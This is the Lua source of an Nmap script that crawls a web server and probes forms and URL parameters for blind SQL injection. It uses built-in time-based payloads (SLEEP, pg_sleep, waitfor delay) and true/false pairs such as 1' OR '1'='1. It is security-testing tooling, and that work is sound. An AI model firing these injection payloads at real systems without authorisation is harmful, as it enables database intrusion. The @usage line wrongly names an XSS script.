description = [[ This script finds blind SQL injections. To verify whether a sent request returned true or false the script by default uses two different injections: Content-based and Time-based. You can disable these methods by using the checkurls or checkforms options accordingly. The script, by default, checks for injections in both forms and URLs. You may also customize this behaviour by using checkurls or checkforms options. More info: https://www.owasp.org/index.php/Blind_SQL_Injection ]] author = "George Chatzisofroniou" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"intrusive", "vuln"} --- -- @usage nmap -p80 --script http-stored-xss.nse -- -- @args http-blindsql-injection.singlepages Table of pages -- to check for blind SQLi. For example, {"/", "/foo"}. -- Default: nil (crawler mode on) -- -- @args http-blindsql-injection.contentbased Boolean value to -- determine if the script should try content based sqli. -- Default: true -- -- @args http-blindsql-injection.timebased Boolean value to -- determine if the script should try time based sqli. -- Default: true -- -- @args http-blindsql-injection.checkurls Boolean value to -- determine if the script should check URLs for blind sqli. -- Default: true -- -- @args http-blindsql-injection.checkforms Boolean value to -- determine if the script should check forms for blind sqli. -- Default: true -- -- @args http-blindsql-injection.diffratio Value between 0 and 1 -- that indicates the least ratio of difference between the -- HTML responses when testing for content-based blind SQLi. -- Default: 0.1 -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-blindsql-injection: -- | Found the following possible blind SQL injection vulnerabilities: -- | -- | -- | Path: http://some-random-page.com:80/ -- | Field: password -- | Method: POST -- | Submission: http://some-random-page.com:80//search.php -- | -- | SQLi: 1' or SLEEP(10) and '1'='1 -- | Time difference: 8.0084838867188 -- | -- | SQLi true response: 1' OR '1'='1 -- | SQLi false response: 1' AND '1'='2 -- |_ Responses diff ratio: 0.25 --- local http = require "http" local httpspider = require "httpspider" local io = require "io" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local table = require "table" local url = require "url" portrule = shortport.port_or_service({80, 443}, {"http","https"}) local blindsqlvuln = {} TIMEBASED_VECTORS = { --MySQL 5 "1\" or SLEEP(10) and \"1\"=\"1", "1' or SLEEP(10) and '1'='1", "1 or SLEEP(10)", -- PostgreSQL "1 or pg_sleep(10)", "1' or pg_sleep(10) and '1'='1", "1\" or pg_sleep(10) and \"1\"=\"1", -- MSSQL "1;waitfor delay '0:0:10'--", "1);waitfor delay '0:0:10'--", "1));waitfor delay '0:0:10'--", "1';waitfor delay '0:0:10'--", "1');waitfor delay '0:0:10'--", "1'));waitfor delay '0:0:10'--", } CONTENTBASED_VECTORS = { { truestm = "1' OR '1'='1", falsestm = "1' AND '1'='2" }, { truestm = "1\" OR \"1\"=\"1", falsestm = "1\" AND \"1\"=\"2" }, { truestm = "1 OR 1=1", falsestm = "1 AND 1=2" } } local timevuln, timeclear local function copyTable(t) local u = { } for k, v in pairs(t) do u[k] = v end return setmetatable(u, getmetatable(t)) end -- Generating safe data. Used while testing forms. local function generateSafePostData(form) local postdata = {} for _,field in ipairs(form["fields"]) do if field["type"] == "text" or field["type"] == "radio" or field["type"] == "checkbox" or field["type"] == "textarea" then postdata[field["name"]] = "sampleString" end end return postdata end -- Thread methods used when testing for time-based SQLi. local function reqThread1(host, port, data, submission, urlv) if urlv then submission = submission .. "?" .. url.build_query(data) end local catch = function() timevuln = nmap.clock() end local response if urlv then response = http.get(host, port, submission) else response = http.post(host, port, submission, { no_cache = true }, nil, data) end timevuln = nmap.clock() end local function reqThread2(host, port, data, submission, urlv) if urlv then submission = submission .. "?" .. url.build_query(data) end local catch = function() timeclear = nmap.clock() end local response if urlv then response = http.get(host, port, submission) else response = http.post(host, port, submission, { no_cache = true }, nil, data) end timeclear = nmap.clock() end -- The method that actually checks for SQLi. It is generic and works for both forms and urls. local function checkForBlindSQLi(host, port, submission, target, data, timebased, contentbased, diffratio, urlv) local maldata = copyTable(data) for _, field in pairs(maldata) do local output = {} stdnse.print_debug(2, "%s: checking field %s", SCRIPT_NAME, _) if timebased then -- Time-based SQL check for __, v in ipairs(TIMEBASED_VECTORS) do timevuln, timeclear = 0, 0 if urlv then maldata[_] = url.encode(v) else maldata[_] = v end local thread1 = stdnse.new_thread(reqThread1, host, port, maldata, submission, urlv) local thread2 = stdnse.new_thread(reqThread2, host, port, data, submission, urlv) -- wait for both threads to die while true do if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then break end stdnse.sleep(1) end maldata[_] = "SampleString" if not timevuln or not timeclear then break end local difftime = timevuln - timeclear if (difftime >= 7) then table.insert(output, {"SQLi: " .. v, "Time difference: " .. difftime }) break end end end if contentbased then -- Content based check for __, v in ipairs(CONTENTBASED_VECTORS) do local trueresp, falseresp if urlv then trueresp = http.get(host, port, url.encode(submission .. "?" .. url.build_query(maldata))) else maldata[_] = v.truestm trueresp = http.post(host, port, submission, { no_cache = true }, nil, maldata) end if urlv then maldata[_] = string.gsub(v.falsestm, " ", "%%20") falseresp = http.get(host, port, url.encode(submission .. "?" .. url.build_query(maldata))) else maldata[_] = v.falsestm falseresp = http.post(host, port, submission, { no_cache = true }, nil, maldata) end maldata[_] = "SampleString" if not trueresp.body or not falseresp.body then break end -- If they are not the same, find the their edit distance. if trueresp.body ~= falseresp.body then local ratio = math.abs(#trueresp.body - #falseresp.body) / math.max(#trueresp.body, #falseresp.body) -- If they are way too different, we probably have an SQLi. if ratio > tonumber(diffratio) then table.insert(output, {"SQLi true response: " .. v.truestm, "SQLi false response: " .. v.falsestm, "Responses diff ratio: " .. ratio }) break end end end end if next(output) then local method if urlv then method = "GET" else method = "POST" end table.insert(output, 1, {"Path: " .. target, "Field: " .. _, "Method: " .. method, "Submission: " .. submission} ) table.insert(blindsqlvuln, output) end end end action = function(host,port) local singlepages = stdnse.get_script_args("http-blindsql-injection.singlepages") local checkforms = stdnse.get_script_args("http-blindsql-injection.checkforms") or true local checkurls = stdnse.get_script_args("http-blindsql-injection.checkurls") or true local timebased = stdnse.get_script_args("http-blindsql-injection.timebased") or true local contentbased = stdnse.get_script_args("http-blindsql-injection.contentbased") or true local diffratio = stdnse.get_script_args("http-blindsql-injection.diffratio") or 0.1 if tonumber(diffratio) > 1 or tonumber(diffratio) < 0 then return "diffratio option should be a value between 0 and 1" end local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, maxpagecount = 40, maxdepth = -1, withinhost = 1 }) local index, k, target, response while(true) do if singlepages then k, target = next(singlepages, index) if (k == nil) then break end response = http.get(host, port, target) if (index) then index = index + 1 else index = 1 end else local status, r = crawler:crawl() -- if the crawler fails it can be due to a number of different reasons -- most of them are "legitimate" and should not be reason to abort if ( not(status) ) then if ( r.err ) then return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) else break end end target = tostring(r.url) response = r.response end if response and response.body and response.status==200 then if checkforms then local all_forms = http.grab_forms(response.body) for _, form_plain in pairs(all_forms) do local form = http.parse_form(form_plain) local path = target if form then local data = generateSafePostData(form) local action_absolute = string.find(form["action"], "^https?://") -- Determine the path where the form needs to be submitted. if action_absolute then submission = form["action"] else local path_cropped = string.match(target, "(.*/).*") path_cropped = path_cropped and path_cropped or "" submission = path_cropped..form["action"] end checkForBlindSQLi(host, port, submission, target, data, timebased, contentbased, diffratio) end end end if checkurls then local cleanurl = http.parse_url(target) if cleanurl.querystring then checkForBlindSQLi(host, port, cleanurl.path, target, cleanurl.querystring, timebased, contentbased, diffratio, true) end end end end -- If we couldn't find a vulnerability. if not next(blindsqlvuln) then return "Couldn't find any blind SQL injection vulnerabilities." end table.insert(blindsqlvuln, 1, "Found the following possible blind SQL injection vulnerabilities: ") return blindsqlvuln end